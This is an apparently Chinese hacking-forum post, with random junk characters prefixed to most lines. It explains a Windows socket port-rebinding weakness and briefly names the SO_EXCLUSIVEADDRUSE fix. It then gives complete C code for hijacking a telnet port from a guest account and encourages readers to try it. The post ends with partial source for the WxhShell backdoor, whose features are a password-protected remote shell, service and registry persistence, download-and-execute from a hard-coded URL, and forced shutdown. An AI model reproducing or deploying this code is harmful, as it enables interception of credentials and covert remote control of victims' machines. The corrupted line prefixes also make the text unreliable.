在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
c:,K{ZR s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6&L8{P L87=*_!B; saddr.sin_family = AF_INET;
.`+N+B(4 6B@{X^6y saddr.sin_addr.s_addr = htonl(INADDR_ANY);
K!;>/3Y2- `.YMbj#T bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4n/CSAT1 o_?A^u 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,e+S7YX 0]2@T=*kTY 这意味着什么?意味着可以进行如下的攻击:
T9]:,
z J(k C 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`:5W1D( $-M' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:{x
*
NdL4c~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
B8 R&Q8Q =QW:},sp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
jT:kk RaAvPIJa | 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-4t!k
Aw` @mu=7_$U 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[-w+ACV~ e*pYlm 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"U
iv[8B #i|AE` #include
Yjix]lUXVf #include
;1>)p x** #include
HsAKz]Mq #include
9+co`t. DWORD WINAPI ClientThread(LPVOID lpParam);
Q#sLIZ8= int main()
<9aa@c57 {
|Whkq/Zg WORD wVersionRequested;
3<ry/{#% DWORD ret;
A9ru]|? WSADATA wsaData;
;09U*S$eK BOOL val;
.{66q#. SOCKADDR_IN saddr;
K)TMr"j\ SOCKADDR_IN scaddr;
[TX5O\g![ int err;
2[Vs@X SOCKET s;
yn KgNi SOCKET sc;
Gcd'- 1 int caddsize;
[:bYd}J HANDLE mt;
Z)RV6@( DWORD tid;
QHbjZJ
N wVersionRequested = MAKEWORD( 2, 2 );
#~:@H&f790 err = WSAStartup( wVersionRequested, &wsaData );
nfA#d- if ( err != 0 ) {
`Y.Q{5Y printf("error!WSAStartup failed!\n");
*N3X"2X: return -1;
KcF#c_f
}
'U'Y[*m@ saddr.sin_family = AF_INET;
QOKE9R#Y D7OPFN7` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
yZqX[U gukKa saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,-_\Y hY> saddr.sin_port = htons(23);
h-=lZ~W~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(}&O)3) {
[Z{0|NR printf("error!socket failed!\n");
/Q2{w>^DK return -1;
KImazS^ }
D?}K|z LQ val = TRUE;
wU)vJsOq //SO_REUSEADDR选项就是可以实现端口重绑定的
/GMT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J#jx)K! {
}^}ep2^ printf("error!setsockopt failed!\n");
}
2P,Z 6L return -1;
R,KoymXP }
=#sr4T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:/941?%M //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
v{*# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
R[_UbN 28
9M!J7 W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
QzX|c&&>u2 {
CiTjRJ-ZW) ret=GetLastError();
K!BS?n; printf("error!bind failed!\n");
ecG,[1]; return -1;
|XoW
Z,K }
D_)n\(3 listen(s,2);
P*zOt]T while(1)
%W:]OPURK {
9_<>#)u5 caddsize = sizeof(scaddr);
>{huaN B //接受连接请求
Mo_(WSs sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2fv`O if(sc!=INVALID_SOCKET)
% C.I2J`_ {
=&xNdc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'Z=8no`< if(mt==NULL)
=TG[isC/F9 {
D4e!A@LJ printf("Thread Creat Failed!\n");
}[m,HA<j break;
_"R /k`8 }
O0Sk?uJ< }
M5>cYVG CloseHandle(mt);
T\Ld)'fNv }
zs@xw@
closesocket(s);
qL?`l;+ WSACleanup();
'#p2v'A return 0;
$m)[> C }
N% W298 DWORD WINAPI ClientThread(LPVOID lpParam)
|SfmQ; {
j`A 3N7; SOCKET ss = (SOCKET)lpParam;
z),@YJU"z SOCKET sc;
B6gn(w3 unsigned char buf[4096];
]E!b& SOCKADDR_IN saddr;
,U^V]jC long num;
!<2%N3l DWORD val;
L?slIGp%- DWORD ret;
k-N`
h //如果是隐藏端口应用的话,可以在此处加一些判断
bw& U[|A0% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
d"Aer saddr.sin_family = AF_INET;
WY 'QhieH saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ql_GN[c/ saddr.sin_port = htons(23);
Q"2J2211 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?z$^4u3 {
a8wQ, printf("error!socket failed!\n");
JNZ O7s return -1;
=2rkaBFC }
<+\
w .! val = 100;
ltH?Ew<] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"g=g' W# {
7g&"clRGO ret = GetLastError();
)ir*\<6Y= return -1;
_2N7E#m" S }
y>YQx\mK if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+P5\N,,7R {
PUJkC ret = GetLastError();
-{ M(1vV(= return -1;
:t8?!9g }
O<KOsu1WW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
8n1<nS< {
Dq:>]4% printf("error!socket connect failed!\n");
(o5^@aDr closesocket(sc);
lujUEHzp closesocket(ss);
;Or]x?- return -1;
[zv@}@$ }
Ga
M:/. while(1)
U6/$CH<pe {
vl,Ff9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}mx>3G{d //如果是嗅探内容的话,可以再此处进行内容分析和记录
z:7
i@m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
UcI;(Va num = recv(ss,buf,4096,0);
aHR&6zj4 if(num>0)
k=D}i\F8 send(sc,buf,num,0);
xP61^*-2 else if(num==0)
Y;dQLZCC break;
41Nm+$m num = recv(sc,buf,4096,0);
Uxl7O4J@H if(num>0)
-Y=o send(ss,buf,num,0);
@7j$$ else if(num==0)
lI*uF~ 'D break;
^0fe:ac; }
s`63
y&Z[ closesocket(ss);
XJI
ff$K closesocket(sc);
dPmtU{E<M return 0 ;
2C59fXfd }
xb22: \]y /EOT zHu w[ ==========================================================
W~ i599!v OKO+(>AQ 下边附上一个代码,,WXhSHELL
Ak'=/`+ p #x|IEjoa ==========================================================
u P&< Fd(o8z8Q #include "stdafx.h"
5xIOi(3`Q VTIRkC
wl@ #include <stdio.h>
+{dJGPoY]p #include <string.h>
:% m56 #include <windows.h>
OS]FGD3a #include <winsock2.h>
'U/X<LCl #include <winsvc.h>
C=zc6C, #include <urlmon.h>
vZJu=t p/WE[8U #pragma comment (lib, "Ws2_32.lib")
r'E|6_0 #pragma comment (lib, "urlmon.lib")
*:tfz*FG$G V|`w/P9g4 #define MAX_USER 100 // 最大客户端连接数
t[=teB v< #define BUF_SOCK 200 // sock buffer
;cD&qheDV #define KEY_BUFF 255 // 输入 buffer
tYST&5Kh~ 9J4gDw4< #define REBOOT 0 // 重启
U0fr\kM #define SHUTDOWN 1 // 关机
e.l3xwt>$ tuIQiWHbM #define DEF_PORT 5000 // 监听端口
bb}$7v`G 8=Aoj%l# #define REG_LEN 16 // 注册表键长度
x4^*YZc$, #define SVC_LEN 80 // NT服务名长度
FwaYp\z $dkkgsw7 // 从dll定义API
5JggU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Z.E@aml\
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}F=lG -x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/Ps5Og typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
<4,LTB]9- PGNH<E) // wxhshell配置信息
C]GW u~QF struct WSCFG {
R
Y ";SfYb int ws_port; // 监听端口
U{?#W char ws_passstr[REG_LEN]; // 口令
>4iVVs int ws_autoins; // 安装标记, 1=yes 0=no
Lxqv char ws_regname[REG_LEN]; // 注册表键名
fj:q_P67o char ws_svcname[REG_LEN]; // 服务名
*)xjMTJ% char ws_svcdisp[SVC_LEN]; // 服务显示名
+5xk6RP char ws_svcdesc[SVC_LEN]; // 服务描述信息
u81@vEK:_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
P`TJqJiY~ int ws_downexe; // 下载执行标记, 1=yes 0=no
,f)#&}x*2+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
E;-*LT&{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"Kc1@EX= .F^372hH3 };
;JV(!8[ fA" VLQE // default Wxhshell configuration
(y!V0iy] struct WSCFG wscfg={DEF_PORT,
,]H2F']4Z "xuhuanlingzhe",
@l
%x;`E 1,
owKOH{otf "Wxhshell",
?CSv;: "Wxhshell",
MR}h}JEx0 "WxhShell Service",
V8}jFib "Wrsky Windows CmdShell Service",
(pT7m "Please Input Your Password: ",
Xcw6mpLt 1,
AZf$XHP2 "
http://www.wrsky.com/wxhshell.exe",
~Hb2-V "Wxhshell.exe"
qi=v}bp& };
"[`/J?W xjH({(/B>a // 消息定义模块
:O/QgGZN$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
n?}7vz; char *msg_ws_prompt="\n\r? for help\n\r#>";
{2T;^+KE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
TaNcnAY>9 char *msg_ws_ext="\n\rExit.";
[|tlTk char *msg_ws_end="\n\rQuit.";
QUKv :; char *msg_ws_boot="\n\rReboot...";
RZbiiMC> char *msg_ws_poff="\n\rShutdown...";
Ee097A?1vj char *msg_ws_down="\n\rSave to ";
ePscSMx& L.Tu7+M4 char *msg_ws_err="\n\rErr!";
qLa6c2o, char *msg_ws_ok="\n\rOK!";
Bhg,P.7 0}qnq" char ExeFile[MAX_PATH];
K_o[m!:jU int nUser = 0;
mJ JF HANDLE handles[MAX_USER];
^
RIWW0 int OsIsNt;
a_U[!`/w 3F?_{A SERVICE_STATUS serviceStatus;
E@CK.-N| SERVICE_STATUS_HANDLE hServiceStatusHandle;
,lb > 82KWe= // 函数声明
f(E[jwy int Install(void);
EWK?vs int Uninstall(void);
gtRVXgI int DownloadFile(char *sURL, SOCKET wsh);
bT c^huP int Boot(int flag);
"5b4fQ;x void HideProc(void);
.kp3<. int GetOsVer(void);
tf4clzSTa int Wxhshell(SOCKET wsl);
> K s. void TalkWithClient(void *cs);
@YHt[>*S int CmdShell(SOCKET sock);
NEW0dF&) int StartFromService(void);
-fT}Nj\ int StartWxhshell(LPSTR lpCmdLine);
w"
,ab j 3='Kii=LA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
K8 Hj)$E61 VOID WINAPI NTServiceHandler( DWORD fdwControl );
(o518fmR Wp(Rw4j // 数据结构和表定义
;uN&yj<}a SERVICE_TABLE_ENTRY DispatchTable[] =
8 c5=Px2\ {
6!Uk c'r {wscfg.ws_svcname, NTServiceMain},
6wH:jd9, {NULL, NULL}
J!d=aGY0- };
|u_fVQj L!0}&i;u~5 // 自我安装
YYF.0G} int Install(void)
BDT"wy8 {
>6Ody<JPHP char svExeFile[MAX_PATH];
9{CajtN HKEY key;
m;{(U Z strcpy(svExeFile,ExeFile);
5`Y>!|
Ab j026CVL // 如果是win9x系统,修改注册表设为自启动
C=x70Y/ if(!OsIsNt) {
P#-p*4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zvR;Tl6] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P1dFoQz RegCloseKey(key);
IubzHf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R#4f_9e<Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`Ln1g@ RegCloseKey(key);
1^tM%2rP' return 0;
TTD#ovo' }
N14Q4v-*x }
(g0U v.* }
\]0+J else {
Qq3>Xv < ?^WX]SAl // 如果是NT以上系统,安装为系统服务
6f)7*j~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
tY%T if (schSCManager!=0)
p<c1$O* {
qJ[wVNHh! SC_HANDLE schService = CreateService
lw_@(E]E (
dpcU`$kt schSCManager,
X3HJ3F;== wscfg.ws_svcname,
wowWq\euY wscfg.ws_svcdisp,
`$XgfMBf | SERVICE_ALL_ACCESS,
^+x ,211f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
XwDt8TxL SERVICE_AUTO_START,
g=jB'h? SERVICE_ERROR_NORMAL,
OmZK~$K_ svExeFile,
J3hhh(
NULL,
zQoJ8i> NULL,
;i!$rL NULL,
|y&vMx~t NULL,
?MOjtAG0_~ NULL
O)c3Lm-w );
0u
bf]Z if (schService!=0)
Kh{_BdN {
#r QT)n CloseServiceHandle(schService);
@ 1FWBH~ CloseServiceHandle(schSCManager);
nPhREn! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(@Eb+8Zd strcat(svExeFile,wscfg.ws_svcname);
_ygdv\^Tet if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\`W8#fob RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
A>6_h1 RegCloseKey(key);
<7o@7r'0 return 0;
1;HL=F }
G%U!$\j:qd }
5hfx2O) CloseServiceHandle(schSCManager);
{BZ0x2 }
rEoOv }
c
6/lfgN \~.elKw<U return 1;
YGhHIziI }
W?0u_F } [OEtd{ // 自我卸载
pp()Hu3J int Uninstall(void)
[ZD`t,x( {
lHO.pN`2 HKEY key;
G$s=P mxICQ>s
b if(!OsIsNt) {
~zDFL15w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EGjzjuJu{ RegDeleteValue(key,wscfg.ws_regname);
:<uCi\9( RegCloseKey(key);
BJjx y0+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/UtSZ( RegDeleteValue(key,wscfg.ws_regname);
J7k=5Fqej; RegCloseKey(key);
Vu,:rPqI return 0;
eNrwkV^ }
Z|j\_VKhl }
9g7Ok9dF }
5D>cbzP@ else {
*2Q x69` gXB&Sgjo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
i~tps if (schSCManager!=0)
q,]57s {
29NP!W
/g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
JB HnJm if (schService!=0)
d{DBG}/Yg {
=h}PL22 if(DeleteService(schService)!=0) {
4}Hf"L[ l CloseServiceHandle(schService);
9 'IDbe{ CloseServiceHandle(schSCManager);
jyC>~}? return 0;
t_Ul;HVPS }
`7'=~BP?X CloseServiceHandle(schService);
%Gm4,+8P3o }
i>;6Z s>S CloseServiceHandle(schSCManager);
\?AA:U* }
=A;79@bY }
MsA)Y ]v.Yt/&C{ return 1;
#uuNH( }
7` t, @fd{5 >\ // 从指定url下载文件
eb<'>a int DownloadFile(char *sURL, SOCKET wsh)
/7C%m: {
,@t#)HV HRESULT hr;
}j,G)\g# char seps[]= "/";
c1StA char *token;
e{0O"Jd` char *file;
k)JwCt.% char myURL[MAX_PATH];
7s1LK/R|u char myFILE[MAX_PATH];
iD2>-yf zuvP\Y=V` strcpy(myURL,sURL);
=Lr#
*ep[ token=strtok(myURL,seps);
r-o6I:y while(token!=NULL)
8C2!Wwz`J8 {
ooT~R2u file=token;
R= *vPS token=strtok(NULL,seps);
<nn!9V\C }
,YmTx }pv<<7}| GetCurrentDirectory(MAX_PATH,myFILE);
~
*P9_< strcat(myFILE, "\\");
cin3)lm strcat(myFILE, file);
#:/-8Z(0 send(wsh,myFILE,strlen(myFILE),0);
b=Y3O send(wsh,"...",3,0);
DKqO5e\l8@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
U`ELd: if(hr==S_OK)
}L|XZL_Jo# return 0;
WG3 .qLH% else
Z6oA>D return 1;
"_e/O&-cH Cg&cz]*q| }
>"+bL6# Le}-F{~`^ // 系统电源模块
NeY,Of| int Boot(int flag)
+jX.::UPm {
;923^*\:F{ HANDLE hToken;
,]-A~ ^| TOKEN_PRIVILEGES tkp;
Hsz).u *7 >K" j if(OsIsNt) {
)F4P-u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
OAtn.LU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
D$y-Kh tkp.PrivilegeCount = 1;
-m>ng
E~q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`?:X-dh_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
FBJ Lkg0 if(flag==REBOOT) {
1]Gp\P} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_ ?Z :m return 0;
+46?+kKt }
=qVD"Z]z else {
G=%SMl>[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
~eHu+pv return 0;
4PAuEM/z }
En/EQ\T@F }
QAh6!<.;@ else {
"#a,R^J if(flag==REBOOT) {
6H}8^'/u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
. 'rC'FT return 0;
+cnBEv~y }
,\n%e' else {
" )_-L8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|cUBS)[)X return 0;
p/!P kKJ }
_-/<